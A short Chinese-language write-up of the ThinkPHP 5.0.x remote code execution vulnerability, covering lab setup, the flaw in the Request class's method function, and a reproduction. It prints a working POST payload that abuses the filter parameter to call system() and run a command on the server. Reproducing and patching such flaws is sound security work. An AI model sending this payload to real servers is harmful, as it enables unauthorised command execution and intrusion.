2019 年 1 月 11 日,360CERT 发现某安全社区出现关于 ThinkPHP5 RCE 漏洞的威胁情报,不久之后 ThinkPHP5 官方与 GitHub 发布更新。该更新修复了一处严重漏洞,该漏洞可导致远程命令代码执行。
影响范围:
ThinkPHP 5.0.x:5.0.x ~ 5.0.23
0X01 环境搭建:
CentOS/lamp
下载源码包5.0.23,其他范围之内的版本也是可以的。
解压到/opt/lamp/htdocs文件夹,在http.conf文件添加监听端口82:Listen 82;在lamp的etc目录下的虚拟主机文件中添加环境路径配置,如下图所示:
添加完毕之后,重启lamp服务,通过浏览器访问:
0X2 漏洞分析
漏洞主要出现在 ThinkPHPRequest 类的 method 方法中(thinkphp/library/think/Request.php)
Request 类可以实现对 HTTP 请求的一些设置,其中成员方法 method 用来获取当前请求类型。
目前官方已经升级到5.4版本:
0X3 漏洞利用
抓包复现,完整的数据是:
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
得到结果:
完整过程:
成功利用此漏洞的攻击者可以对目标系统进行远程代码执行攻击。目前,该漏洞的漏洞验证代码已在互联网上公开,近期被利用的可能性较大。请尽快修复。